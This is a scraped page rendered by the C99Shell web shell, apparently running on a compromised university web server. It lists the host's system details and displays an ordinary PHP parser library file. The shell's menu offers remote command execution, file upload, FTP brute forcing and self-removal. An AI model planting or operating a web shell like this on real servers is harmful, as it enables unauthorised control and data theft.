!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/nikic/php-parser/lib/PhpParser/   drwxr-xr-x
Free 116.83 GB of 200.55 GB (58.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ParserFactory.php (1.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PhpParser;

class 
ParserFactory {
    const 
PREFER_PHP7 1;
    const 
PREFER_PHP5 2;
    const 
ONLY_PHP7 3;
    const 
ONLY_PHP5 4;

    
/**
     * Creates a Parser instance, according to the provided kind.
     *
     * @param int        $kind  One of ::PREFER_PHP7, ::PREFER_PHP5, ::ONLY_PHP7 or ::ONLY_PHP5
     * @param Lexer|null $lexer Lexer to use. Defaults to emulative lexer when not specified
     * @param array      $parserOptions Parser options. See ParserAbstract::__construct() argument
     *
     * @return Parser The parser instance
     */
    
public function create($kindLexer $lexer null, array $parserOptions = array()) {
        if (
null === $lexer) {
            
$lexer = new Lexer\Emulative();
        }
        switch (
$kind) {
            case 
self::PREFER_PHP7:
                return new 
Parser\Multiple([
                    new 
Parser\Php7($lexer$parserOptions), new Parser\Php5($lexer$parserOptions)
                ]);
            case 
self::PREFER_PHP5:
                return new 
Parser\Multiple([
                    new 
Parser\Php5($lexer$parserOptions), new Parser\Php7($lexer$parserOptions)
                ]);
            case 
self::ONLY_PHP7:
                return new 
Parser\Php7($lexer$parserOptions);
            case 
self::ONLY_PHP5:
                return new 
Parser\Php5($lexer$parserOptions);
            default:
                throw new \
LogicException(
                    
'Kind must be one of ::PREFER_PHP7, ::PREFER_PHP5, ::ONLY_PHP7 or ::ONLY_PHP5'
                
);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0191 ]--